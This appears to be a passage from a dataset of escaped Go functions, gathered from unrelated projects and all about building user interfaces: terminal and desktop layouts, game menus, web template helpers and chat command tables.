\"MFCC\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams2.MFCCSegment)\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv2.AddNewTab(etview.KiT_TensorGrid, \"Deltas\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams2.MFCCDeltas)\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\ttg = tv2.AddNewTab(etview.KiT_TensorGrid, \"DeltaDeltas\").(*etview.TensorGrid)\n\ttg.SetStretchMax()\n\ttg.SetTensor(&ap.PParams2.MFCCDeltaDeltas)\n\t// set Display after setting tensor\n\ttg.Disp.ColorMap = \"ColdHot\"\n\ttg.Disp.Range.FixMin = false\n\ttg.Disp.Range.FixMax = false\n\n\tap.StatLabel = gi.AddNewLabel(mfr, \"status\", \"Status...\")\n\tap.StatLabel.SetStretchMaxWidth()\n\tap.StatLabel.Redrawable = true\n\n\tap.GUI.FinalizeGUI(false)\n\treturn ap.GUI.Win\n}", "func (c *guiClient) torPromptUI() error {\n\tui := VBox{\n\t\twidgetBase: widgetBase{padding: 40, expand: true, fill: true, name: \"vbox\"},\n\t\tchildren: []Widget{\n\t\t\tLabel{\n\t\t\t\twidgetBase: widgetBase{font: \"DejaVu Sans 30\"},\n\t\t\t\ttext: \"Cannot find Tor\",\n\t\t\t},\n\t\t\tLabel{\n\t\t\t\twidgetBase: widgetBase{\n\t\t\t\t\tpadding: 20,\n\t\t\t\t\tfont: \"DejaVu Sans 14\",\n\t\t\t\t},\n\t\t\t\ttext: \"Please start Tor or the Tor Browser Bundle. Looking for a SOCKS proxy on port 9050 or 9150...\",\n\t\t\t\twrap: 600,\n\t\t\t},\n\t\t},\n\t}\n\n\tc.gui.Actions() <- SetBoxContents{name: \"body\", child: ui}\n\tc.gui.Signal()\n\n\tticker := time.NewTicker(1 * time.Second)\n\tdefer ticker.Stop()\n\tfor {\n\t\tselect {\n\t\tcase _, ok := <-c.gui.Events():\n\t\t\tif !ok {\n\t\t\t\tc.ShutdownAndSuspend()\n\t\t\t}\n\t\tcase <-ticker.C:\n\t\t\tif c.detectTor() {\n\t\t\t\treturn nil\n\t\t\t}\n\t\t}\n\t}\n\n\treturn nil\n}", "func (v *App) Configure() {\n\tfmt.Println(\"App configuring...\")\n\n\tv.txtSimStatus = NewText(v.nFont, v.renderer)\n\terr := v.txtSimStatus.SetText(\"Status: \"+v.status, sdl.Color{R: 127, G: 64, B: 0, A: 255})\n\tif err != nil {\n\t\tv.Close()\n\t\tpanic(err)\n\t}\n\n\tv.txtActiveProperty = NewField(v.nFont, v.renderer)\n\tv.txtActiveProperty.SetPosition(5, 30)\n\n\t// v.dynaTxt = NewDynaText(v.nFont, v.renderer)\n}", "func UI(t testhelper.TestingTInterface, dataDir string, parent context.Context, stream bool) string {\n\tserverHostname := \"127.0.0.1\"\n\tpodScalerFlags := []string{\n\t\t\"--loglevel=trace\",\n\t\t\"--log-style=text\",\n\t\t\"--cache-dir\", dataDir,\n\t\t\"--mode=consumer.ui\",\n\t\t\"--data-dir\", t.TempDir(),\n\t\t\"--metrics-port=9093\",\n\t}\n\tpodScaler := testhelper.NewAccessory(\"pod-scaler\", podScalerFlags, func(port, healthPort string) []string {\n\t\tt.Logf(\"pod-scaler admission starting on port %s\", port)\n\t\treturn []string{\"--ui-port\", port, \"--health-port\", healthPort}\n\t}, func(port, healthPort string) []string {\n\t\treturn []string{port}\n\t})\n\tpodScaler.RunFromFrameworkRunner(t, parent, stream)\n\tpodScalerHost := \"http://\" + serverHostname + \":\" + podScaler.ClientFlags()[0]\n\tt.Logf(\"pod-scaler UI is running at %s\", podScalerHost)\n\tpodScaler.Ready(t, func(o *testhelper.ReadyOptions) { o.WaitFor = 200 })\n\treturn podScalerHost\n}", "func main() {\n\tcreateGUI()\n}", "func (i *Installation) installGPCCUI(args []string) error {\n\tinstallGPCCWebFile := Config.CORE.TEMPDIR + \"install_web_ui.sh\"\n\toptions := []string{\n\t\t\"source \" + i.EnvFile,\n\t\t\"source \" + i.GPCC.GpPerfmonHome + \"/gpcc_path.sh\",\n\t\t\"echo\",\n\t\t\"gpcmdr --setup << EOF\",\n\t}\n\tfor _, arg := range args {\n\t\toptions = append(options, arg)\n\t}\n\toptions = append(options, \"echo\")\n\tgenerateBashFileAndExecuteTheBashFile(installGPCCWebFile, \"/bin/sh\", options)\n\n\treturn nil\n}", "func (gui *Gui) layout(g *gocui.Gui) error {\n\tg.Highlight = true\n\twidth, height := g.Size()\n\n\tinformation := gui.Config.GetVersion()\n\tif gui.g.Mouse {\n\t\tdonate := color.New(color.FgMagenta, color.Underline).Sprint(gui.Tr.SLocalize(\"Donate\"))\n\t\tinformation = donate + \" \" + information\n\t}\n\n\tminimumHeight := 9\n\tminimumWidth := 10\n\tif height < minimumHeight || width < minimumWidth {\n\t\tv, err := g.SetView(\"limit\", 0, 0, width-1, height-1, 0)\n\t\tif err != nil {\n\t\t\tif err.Error() != \"unknown view\" {\n\t\t\t\treturn err\n\t\t\t}\n\t\t\tv.Title = gui.Tr.SLocalize(\"NotEnoughSpace\")\n\t\t\tv.Wrap = true\n\t\t\t_, _ = g.SetViewOnTop(\"limit\")\n\t\t}\n\t\treturn nil\n\t}\n\n\tvHeights := gui.getViewHeights()\n\n\toptionsVersionBoundary := width - max(len(utils.Decolorise(information)), 1)\n\n\tappStatus := gui.statusManager.getStatusString()\n\tappStatusOptionsBoundary := 0\n\tif appStatus != \"\" {\n\t\tappStatusOptionsBoundary = len(appStatus) + 2\n\t}\n\n\t_, _ = g.SetViewOnBottom(\"limit\")\n\t_ = g.DeleteView(\"limit\")\n\n\ttextColor := theme.GocuiDefaultTextColor\n\n\tmain := \"main\"\n\tsecondary := \"secondary\"\n\n\tmainPanelLeft, mainPanelTop, mainPanelRight, mainPanelBottom, err := gui.getMainViewDimensions()\n\tif err != nil {\n\t\treturn err\n\t}\n\tleftSideWidth := mainPanelLeft - 1\n\n\tv, err := g.SetView(main, mainPanelLeft, mainPanelTop, mainPanelRight, mainPanelBottom, 0)\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tv.Wrap = true\n\t\tv.FgColor = textColor\n\t\tv.Autoscroll = true\n\t}\n\n\tfor _, commandView := range gui.State.CommandViewMap {\n\t\t_, _ = g.SetView(commandView.View.Name(), mainPanelLeft, mainPanelTop, mainPanelRight, mainPanelBottom, 0)\n\t}\n\n\thiddenViewOffset := 9999\n\n\tsecondaryView, err := g.SetView(secondary, mainPanelLeft, 0, width-1, mainPanelTop-1, 0)\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tsecondaryView.Wrap = true\n\t\tsecondaryView.FgColor = gocui.ColorWhite\n\t}\n\n\tif v, err := g.SetView(\"status\", 0, 0, leftSideWidth, vHeights[\"status\"]-1, gocui.BOTTOM|gocui.RIGHT); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tv.Title = gui.Tr.SLocalize(\"StatusTitle\")\n\t\tv.FgColor = textColor\n\t}\n\n\tpackagesView, err := g.SetViewBeneath(\"packages\", \"status\", vHeights[\"packages\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tpackagesView.Highlight = true\n\t\tpackagesView.Title = gui.Tr.SLocalize(\"PackagesTitle\")\n\t\tpackagesView.ContainsList = true\n\t}\n\n\tdepsView, err := g.SetViewBeneath(\"deps\", \"packages\", vHeights[\"deps\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tdepsView.Title = gui.Tr.SLocalize(\"DepsTitle\")\n\t\tdepsView.FgColor = textColor\n\t\tdepsView.ContainsList = true\n\t}\n\n\tscriptsView, err := g.SetViewBeneath(\"scripts\", \"deps\", vHeights[\"scripts\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tscriptsView.Title = gui.Tr.SLocalize(\"ScriptsTitle\")\n\t\tscriptsView.FgColor = textColor\n\t\tscriptsView.ContainsList = true\n\t}\n\n\ttarballsView, err := g.SetViewBeneath(\"tarballs\", \"scripts\", vHeights[\"tarballs\"])\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\ttarballsView.Title = gui.Tr.SLocalize(\"TarballsTitle\")\n\t\ttarballsView.FgColor = textColor\n\t\ttarballsView.ContainsList = true\n\t}\n\ttarballsView.Visible = gui.showTarballsView()\n\n\tif v, err := g.SetView(\"options\", appStatusOptionsBoundary-1, height-2, optionsVersionBoundary-1, height, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tv.Frame = false\n\t\tv.FgColor = theme.OptionsColor\n\t}\n\n\tsearchViewOffset := hiddenViewOffset\n\tif gui.State.Searching.isSearching {\n\t\tsearchViewOffset = 0\n\t}\n\n\t// this view takes up one character. Its only purpose is to show the slash when searching\n\tsearchPrefix := \"search: \"\n\tif searchPrefixView, err := g.SetView(\"searchPrefix\", appStatusOptionsBoundary-1+searchViewOffset, height-2+searchViewOffset, len(searchPrefix)+searchViewOffset, height+searchViewOffset, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\n\t\tsearchPrefixView.BgColor = gocui.ColorDefault\n\t\tsearchPrefixView.FgColor = gocui.ColorGreen\n\t\tsearchPrefixView.Frame = false\n\t\tgui.setViewContent(gui.g, searchPrefixView, searchPrefix)\n\t}\n\n\tif searchView, err := g.SetView(\"search\", appStatusOptionsBoundary-1+searchViewOffset+len(searchPrefix), height-2+searchViewOffset, optionsVersionBoundary+searchViewOffset, height+searchViewOffset, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\n\t\tsearchView.BgColor = gocui.ColorDefault\n\t\tsearchView.FgColor = gocui.ColorGreen\n\t\tsearchView.Frame = false\n\t\tsearchView.Editable = true\n\t}\n\n\tif appStatusView, err := g.SetView(\"appStatus\", -1, height-2, width, height, 0); err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tappStatusView.BgColor = gocui.ColorDefault\n\t\tappStatusView.FgColor = gocui.ColorCyan\n\t\tappStatusView.Frame = false\n\t\tif _, err := g.SetViewOnBottom(\"appStatus\"); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\tinformationView, err := g.SetView(\"information\", optionsVersionBoundary-1, height-2, width, height, 0)\n\tif err != nil {\n\t\tif err.Error() != \"unknown view\" {\n\t\t\treturn err\n\t\t}\n\t\tinformationView.BgColor = gocui.ColorDefault\n\t\tinformationView.FgColor = gocui.ColorGreen\n\t\tinformationView.Frame = false\n\t\tgui.renderString(\"information\", information)\n\n\t\t// doing this here because it'll only happen once\n\t\tif err := gui.onInitialViewsCreation(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tif gui.State.OldInformation != information {\n\t\tgui.setViewContent(g, informationView, information)\n\t\tgui.State.OldInformation = information\n\t}\n\n\tif gui.g.CurrentView() == nil {\n\t\tinitialView := gui.getPackagesView()\n\t\tif _, err := gui.g.SetCurrentView(initialView.Name()); err != nil {\n\t\t\treturn err\n\t\t}\n\n\t\tif err := gui.switchFocus(nil, initialView); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\ttype listViewState struct {\n\t\tselectedLine int\n\t\tlineCount int\n\t\tview *gocui.View\n\t\tcontext string\n\t\tlistView *listView\n\t}\n\n\tlistViewStates := []listViewState{\n\t\t{view: packagesView, context: \"\", selectedLine: gui.State.Panels.Packages.SelectedLine, lineCount: len(gui.State.Packages), listView: gui.packagesListView()},\n\t\t{view: depsView, context: \"\", selectedLine: gui.State.Panels.Deps.SelectedLine, lineCount: len(gui.State.Deps), listView: gui.depsListView()},\n\t\t{view: scriptsView, context: \"\", selectedLine: gui.State.Panels.Scripts.SelectedLine, lineCount: len(gui.getScripts()), listView: gui.scriptsListView()},\n\t\t{view: tarballsView, context: \"\", selectedLine: gui.State.Panels.Tarballs.SelectedLine, lineCount: len(gui.State.Tarballs), listView: gui.tarballsListView()},\n\t}\n\n\t// menu view might not exist so we check to be safe\n\tif menuView, err := gui.g.View(\"menu\"); err == nil {\n\t\tlistViewStates = append(listViewStates, listViewState{view: menuView, context: \"\", selectedLine: gui.State.Panels.Menu.SelectedLine, lineCount: gui.State.MenuItemCount, listView: gui.menuListView()})\n\t}\n\tfor _, listViewState := range listViewStates {\n\t\t// ignore views where the context doesn't match up with the selected line we're trying to focus\n\t\tif listViewState.context != \"\" && (listViewState.view.Context != listViewState.context) {\n\t\t\tcontinue\n\t\t}\n\t\t// check if the selected line is now out of view and if so refocus it\n\t\tlistViewState.view.FocusPoint(0, listViewState.selectedLine)\n\n\t\t// I doubt this is expensive though it's admittedly redundant after the first render\n\t\tlistViewState.view.SetOnSelectItem(gui.onSelectItemWrapper(listViewState.listView.onSearchSelect))\n\t}\n\n\tmainViewWidth, mainViewHeight := gui.getMainView().Size()\n\tif mainViewWidth != gui.State.PrevMainWidth || mainViewHeight != gui.State.PrevMainHeight {\n\t\tgui.State.PrevMainWidth = mainViewWidth\n\t\tgui.State.PrevMainHeight = mainViewHeight\n\t\tif err := gui.onResize(); err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\n\t// here is a good place log some stuff\n\t// if you download humanlog and do tail -f development.log | humanlog\n\t// this will let you see these branches as prettified json\n\t// gui.Log.Info(utils.AsJson(gui.State.Branches[0:4]))\n\treturn gui.resizeCurrentPopupPanel(g)\n}", "func UpdateUI(screen *ebiten.Image) {\n\tfor i := range UI76.currentPanel.buttons {\n\t\tbtn := UI76.currentPanel.buttons[i]\n\t\topUI := &ebiten.DrawImageOptions{}\n\t\topUI.GeoM.Translate(btn.xPos, btn.yPos) // Moves the object\n\t\tscreen.DrawImage(&btn.image, opUI)\n\t\ttext.Draw(screen, btn.label, font76, int(btn.xPos+20), int(btn.yPos+30), color.White)\n\t}\n\tebitenutil.DebugPrint(screen, GS.debuginfo)\n\n\tif UI76.allowInterface == true {\n\t\tif ebiten.IsKeyPressed(ebiten.KeyEscape) {\n\t\t\tGS.paused = true\n\t\t\tUI76.prevPanel = UI76.currentPanel\n\t\t\tUI76.currentPanel = MenuMainMenu\n\t\t}\n\t\tif ebiten.IsMouseButtonPressed(ebiten.MouseButtonLeft) && UI76.mousePressed == false {\n\t\t\t// Get the x, y position of the cursor from the CursorPosition() function\n\t\t\tx, y := ebiten.CursorPosition()\n\t\t\t//fmt.Println(GS.debuginfo, GS.current)\n\t\t\t// Display the information with \"X: xx, Y: xx\" format\n\t\t\tebitenutil.DebugPrint(screen, fmt.Sprintf(\"\\nX: %d, Y: %d\", x, y))\n\t\t\tUIIsButtonPressed(x, y, UI76.currentPanel)\n\t\t\tUI76.mousePressed = true\n\t\t}\n\t\tif !ebiten.IsMouseButtonPressed(ebiten.MouseButtonLeft) {\n\t\t\tUI76.mousePressed = false\n\t\t}\n\t}\n}", "func (s *Service) saveUIConfig(c echo.Context) error {\n\ttype response struct {\n\t\tSuccess bool `json:\"success\"`\n\t}\n\n\t// Parse the request\n\tconf := shipyard.UIConfig{}\n\terr := c.Bind(&conf)\n\tif err != nil {\n\t\ts.logger.Errorf(\"echo/saveUIConfig parse request: %s\")\n\t\treturn echo.NewHTTPError(http.StatusBadRequest, \"Request is malformatted\")\n\t}\n\n\t// Save the UI Config\n\terr = s.datastore.SaveUIConfig(conf)\n\tif err != nil {\n\t\ts.logger.Errorf(\"echo/saveUIConfig save config: %s\")\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, \"Failed to save UI Config\")\n\t}\n\n\tres := response{\n\t\tSuccess: true,\n\t}\n\n\treturn c.JSON(http.StatusOK, res)\n}", "func Show(app fyne.App) {\n c := newCalculator()\n c.loadUI(app)\n}", "func NewFakeUI(outWriter, errWriter io.Writer, inReader io.Reader) *ui.WriterUI {\n\treturn ui.NewWriterUI(outWriter, errWriter, inReader)\n}", "func RunMinUI(n *node.Node) {\n\ts := minui.New(Config, n)\n\ts.Run()\n}", "func (ui *ReplApp) setupCommands() {\n\tui.commands = commanddefs{\n\t\t\"help\": {\n\t\t\tcmd: \"help\",\n\t\t\thelptext: \"show information about commands\",\n\t\t},\n\n\t\t\"exit\": {\n\t\t\tcmd: \"exit\",\n\t\t\thelptext: \"exit the chat client\",\n\t\t},\n\n\t\t\"ip\": {\n\t\t\tcmd: \"ip\",\n\t\t\thelptext: \"display your current external IP and port chat client is using\",\n\t\t},\n\n\t\t\"me\": {\n\t\t\tcmd: \"me\",\n\t\t\thelptext: \"view and change user profile\",\n\t\t\tdefaultSub: \"show\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"show\": {\n\t\t\t\t\tcmd: \"show\",\n\t\t\t\t\thelptext: \"display user information\",\n\t\t\t\t},\n\t\t\t\t\"edit\": {\n\t\t\t\t\tcmd: \"edit\",\n\t\t\t\t\thelptext: \"modify user information\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"PROFILE\", re(profile)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"contacts\": {\n\t\t\tcmd: \"contacts\",\n\t\t\thelptext: \"manage contacts\",\n\t\t\tdefaultSub: \"list\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"list\": {\n\t\t\t\t\tcmd: \"list\",\n\t\t\t\t\thelptext: \"list all contacts\",\n\t\t\t\t\tdefaultSub: \"all\",\n\t\t\t\t},\n\t\t\t\t\"add\": {\n\t\t\t\t\tcmd: \"add\",\n\t\t\t\t\thelptext: \"add a new contact from an existing session or profile\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"PROFILE\", re(profile)},\n\t\t\t\t\t\t{\"SESSION_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t\"delete\": {\n\t\t\t\t\tcmd: \"delete\",\n\t\t\t\t\thelptext: \"delete a contacts\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"CONTACT_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"requests\": {\n\t\t\tcmd: \"requests\",\n\t\t\thelptext: \"manage requests for chat\",\n\t\t\tdefaultSub: \"list\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"list\": {\n\t\t\t\t\tcmd: \"list\",\n\t\t\t\t\thelptext: \"display waiting requests\",\n\t\t\t\t},\n\t\t\t\t\"accept\": {\n\t\t\t\t\tcmd: \"accept\",\n\t\t\t\t\thelptext: \"accept chat request and begin a session\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"REQUEST_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t\"reject\": {\n\t\t\t\t\tcmd: \"reject\",\n\t\t\t\t\thelptext: \"refuse a chat request\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"REQUEST_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"sessions\": {\n\t\t\tcmd: \"sessions\",\n\t\t\thelptext: \"manage chat sessions\",\n\t\t\tdefaultSub: \"list\",\n\t\t\tsubcmds: commanddefs{\n\t\t\t\t\"list\": {\n\t\t\t\t\tcmd: \"list\",\n\t\t\t\t\thelptext: \"display all pending and active sessions\",\n\t\t\t\t},\n\t\t\t\t\"start\": {\n\t\t\t\t\tcmd: \"start\",\n\t\t\t\t\thelptext: \"ping another user to a session\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"CONTACT_NUMBER\", re(integer)},\n\t\t\t\t\t\t{\"PROFILE\", re(profile)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t\t\"drop\": {\n\t\t\t\t\tcmd: \"drop\",\n\t\t\t\t\thelptext: \"end a session\",\n\t\t\t\t\targs: []argdef{\n\t\t\t\t\t\t{\"SESSION_NUMBER\", re(integer)},\n\t\t\t\t\t},\n\t\t\t\t},\n\t\t\t},\n\t\t},\n\n\t\t\"msg\": {\n\t\t\tcmd: \"msg\",\n\t\t\thelptext: \"sends a message\",\n\t\t\targs: []argdef{\n\t\t\t\t{\"SESSION_NUMBER MESSAGE\", re(integer, rest)},\n\t\t\t},\n\t\t},\n\n\t\t\"show\": {\n\t\t\tcmd: \"show\",\n\t\t\thelptext: \"show last few messages for a particular session\",\n\t\t\targs: []argdef{\n\t\t\t\t{\"SESSION_NUMBER\", re(integer)},\n\t\t\t},\n\t\t},\n\t}\n}", "func NewWebUI(expSource APIDataSource, activeNetParams *chaincfg.Params) *WebUI {\n\tfp := filepath.Join(\"views\", \"root.tmpl\")\n\tefp := filepath.Join(\"views\", \"extras.tmpl\")\n\terrorfp := filepath.Join(\"views\", \"error.tmpl\")\n\thelpers := template.FuncMap{\n\t\t\"divide\": func(n int64, d int64) int64 {\n\t\t\tval := n / d\n\t\t\treturn val\n\t\t},\n\t\t\"int64Comma\": func(v int64) string {\n\t\t\tt := humanize.Comma(v)\n\t\t\treturn t\n\t\t},\n\t\t\"timezone\": func() string {\n\t\t\tt, _ := time.Now().Zone()\n\t\t\treturn t\n\t\t},\n\t\t\"formatBytes\": func(v int32) string {\n\t\t\ti64 := uint64(v)\n\t\t\treturn humanize.Bytes(i64)\n\t\t},\n\t\t\"getTime\": func(btime int64) string {\n\t\t\tt := time.Unix(btime, 0)\n\t\t\treturn t.Format(\"2006-01-02 15:04:05\")\n\t\t},\n\t\t\"ticketWindowProgress\": func(i int) float64 {\n\t\t\tp := (float64(i) / float64(activeNetParams.StakeDiffWindowSize)) * 100\n\t\t\treturn p\n\t\t},\n\t\t\"float64AsDecimalParts\": func(v float64, useCommas bool) []string {\n\t\t\tclipped := fmt.Sprintf(\"%.8f\", v)\n\t\t\toldLength := len(clipped)\n\t\t\tclipped = strings.TrimRight(clipped, \"0\")\n\t\t\ttrailingZeros := strings.Repeat(\"0\", oldLength-len(clipped))\n\t\t\tvalueChunks := strings.Split(clipped, \".\")\n\t\t\tinteger := valueChunks[0]\n\t\t\tvar dec string\n\t\t\tif len(valueChunks) == 2 {\n\t\t\t\tdec = valueChunks[1]\n\t\t\t} else {\n\t\t\t\tdec = \"\"\n\t\t\t\tlog.Errorf(\"float64AsDecimalParts has no decimal value. Input: %v\", v)\n\t\t\t}\n\t\t\tif useCommas {\n\t\t\t\tintegerAsInt64, err := strconv.ParseInt(integer, 10, 64)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Errorf(\"float64AsDecimalParts comma formatting failed. Input: %v Error: %v\", v, err.Error())\n\t\t\t\t\tinteger = \"ERROR\"\n\t\t\t\t\tdec = \"VALUE\"\n\t\t\t\t\tzeros := \"\"\n\t\t\t\t\treturn []string{integer, dec, zeros}\n\t\t\t\t}\n\t\t\t\tinteger = humanize.Comma(integerAsInt64)\n\t\t\t}\n\t\t\treturn []string{integer, dec, trailingZeros}\n\t\t},\n\t\t\"amountAsDecimalParts\": func(v int64, useCommas bool) []string {\n\t\t\tamt := strconv.FormatInt(v, 10)\n\t\t\tif len(amt) <= 8 {\n\t\t\t\tdec := strings.TrimRight(amt, \"0\")\n\t\t\t\ttrailingZeros := strings.Repeat(\"0\", len(amt)-len(dec))\n\t\t\t\tleadingZeros := strings.Repeat(\"0\", 8-len(amt))\n\t\t\t\treturn []string{\"0\", leadingZeros + dec, trailingZeros}\n\t\t\t}\n\t\t\tinteger := amt[:len(amt)-8]\n\t\t\tif useCommas {\n\t\t\t\tintegerAsInt64, err := strconv.ParseInt(integer, 10, 64)\n\t\t\t\tif err != nil {\n\t\t\t\t\tlog.Errorf(\"amountAsDecimalParts comma formatting failed. Input: %v Error: %v\", v, err.Error())\n\t\t\t\t\tinteger = \"ERROR\"\n\t\t\t\t\tdec := \"VALUE\"\n\t\t\t\t\tzeros := \"\"\n\t\t\t\t\treturn []string{integer, dec, zeros}\n\t\t\t\t}\n\t\t\t\tinteger = humanize.Comma(integerAsInt64)\n\t\t\t}\n\t\t\tdec := strings.TrimRight(amt[len(amt)-8:], \"0\")\n\t\t\tzeros := strings.Repeat(\"0\", 8-len(dec))\n\t\t\treturn []string{integer, dec, zeros}\n\t\t},\n\t}\n\ttmpl, err := template.New(\"home\").Funcs(helpers).ParseFiles(fp, efp)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\terrtmpl, err := template.New(\"error\").ParseFiles(errorfp, efp)\n\tif err != nil {\n\t\treturn nil\n\t}\n\n\t//var templFiles []string\n\ttemplFiles := []string{fp, efp, errorfp}\n\n\twsh := NewWebsocketHub()\n\tgo wsh.run()\n\n\treturn &WebUI{\n\t\twsHub: wsh,\n\t\ttempl: tmpl,\n\t\terrorTempl: errtmpl,\n\t\ttemplFiles: templFiles,\n\t\tparams: activeChain,\n\t\tExplorerSource: expSource,\n\t\ttmpHelpers: helpers,\n\t}\n}", "func NewUI(logger *logrus.Logger) *UI {\n\treturn &UI{logger}\n}", "func (s *Service) getUIConfig(c echo.Context) error {\n\t// Get the config\n\tconf, err := s.datastore.GetUIConfig(c.Param(\"room_id\"))\n\tif err != nil {\n\t\t// Not found\n\t\tif errors.Is(err, shipyard.ErrNotFound) {\n\t\t\treturn echo.NewHTTPError(http.StatusNotFound, \"Requested resource was not found\")\n\t\t}\n\n\t\t// Other errors\n\t\ts.logger.Errorf(\"echo/getUIConfig get config: %s\")\n\t\treturn echo.NewHTTPError(http.StatusInternalServerError, \"Failed to get UI Config\")\n\t}\n\n\treturn c.JSON(http.StatusOK, conf)\n}", "func NewUI(theme theme.Theme) *UI {\n\treturn &UI{Theme: theme}\n}", "func (f *Frontend) configure(cfg string) error {\n\tf.Config = new(config)\n\t{\n\t\terr := MakeConfigDir()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\t{\n\t\tf.Config.WallpaperDir = filepath.Join(configDir(), \"wallpapers\")\n\t\terr := f.Config.makeWallpaperDir()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t\terr = f.Config.writeOut()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\t}\n\tscript := \"\"\n\tswitch cfg {\n\tcase \"barewm\":\n\t\tscript = setScriptBareWM\n\tcase \"lxde\":\n\t\tscript = setScriptLXDE\n\t\terr := f.writeAutostart()\n\t\tif err != nil {\n\t\t\treturn err\n\t\t}\n\tcase \"gnome\":\n\t\tscript = setScriptGNOME\n\tdefault:\n\t\treturn fmt.Errorf(\"Unknown configuration type: %s\\n\", cfg)\n\t}\n\tif err := writeWallpaperScript(script); err != nil {\n\t\treturn err\n\t}\n\treturn f.Loadconfig()\n}", "func windowsShowSettingsUI(_ *cagent.Cagent, _ bool) {\n\n}", "func NewSetUI() *SetUI {\n\treturn &SetUI{\n\t\tcache: make(map[uint]bool),\n\t}\n}", "func main() {\n\tgo func() {\n\t\tw := app.NewWindow(\n\t\t\tapp.Title(\"Gopher-Garden\"),\n\t\t\tapp.Size(unit.Dp(ui.WidthPx+500), unit.Dp(ui.HeightPx)))\n\t\tu := ui.NewUi(w)\n\t\tif err := u.Loop(); err != nil {\n\t\t\tlog.Fatal(err)\n\t\t}\n\t\tos.Exit(0)\n\t}()\n\tapp.Main()\n}", "func (ui *jobCreatorUI) ShowAndRun() {\n\tif ui.window == nil {\n\t\tfmt.Errorf(\"Window of jobCreatorUI is nil!\")\n\t} else {\n\t\tui.window.ShowAll()\n\t}\n\tgtk.Main()\n}", "func CreateMainWindow() {\n\n\tvBox := tui.NewVBox()\n\tvBox.SetSizePolicy(tui.Minimum, tui.Minimum)\n\tSidebar := tui.NewVBox()\n\tSidebar.SetSizePolicy(tui.Minimum, tui.Minimum)\n\n\tfor _, cmd := range strings.Split(libs.Cmds, \",\") {\n\t\tSidebar.Append(tui.NewLabel(wordwrap.WrapString(cmd, 50)))\n\t}\n\n\tSidebar.SetBorder(true)\n\tSidebar.Prepend(tui.NewLabel(\"***COMMANDS***\"))\n\n\tInput.SetFocused(true)\n\tInput.SetSizePolicy(tui.Expanding, tui.Maximum)\n\n\tinputBox := tui.NewHBox(Input)\n\tinputBox.SetBorder(true)\n\tinputBox.SetSizePolicy(tui.Expanding, tui.Maximum)\n\n\thistoryScroll := tui.NewScrollArea(History)\n\thistoryScroll.SetAutoscrollToBottom(true)\n\thistoryBox := tui.NewVBox(historyScroll)\n\thistoryBox.SetBorder(true)\n\n\tchat := tui.NewVBox(historyBox, inputBox)\n\tchat.SetSizePolicy(tui.Expanding, tui.Expanding)\n\n\t// create root window and add all windows\n\troot := tui.NewHBox(Sidebar, chat)\n\tui, err := tui.New(root)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\tui.SetKeybinding(\"Esc\", func() { ui.Quit() })\n\n\tInput.OnSubmit(func(e *tui.Entry) {\n\t\t// this is just to see what command given\n\t\tuserCommand := e.Text()\n\t\tif userCommand == \"\" {\n\t\t\tHistory.Append(tui.NewLabel(\"that is not acceptable command\"))\n\t\t\tHistory.Append(tui.NewLabel(libs.PrintHelp()))\n\t\t} else {\n\t\t\tHistory.Append(tui.NewHBox(\n\t\t\t\ttui.NewLabel(\"Your Command: \" + 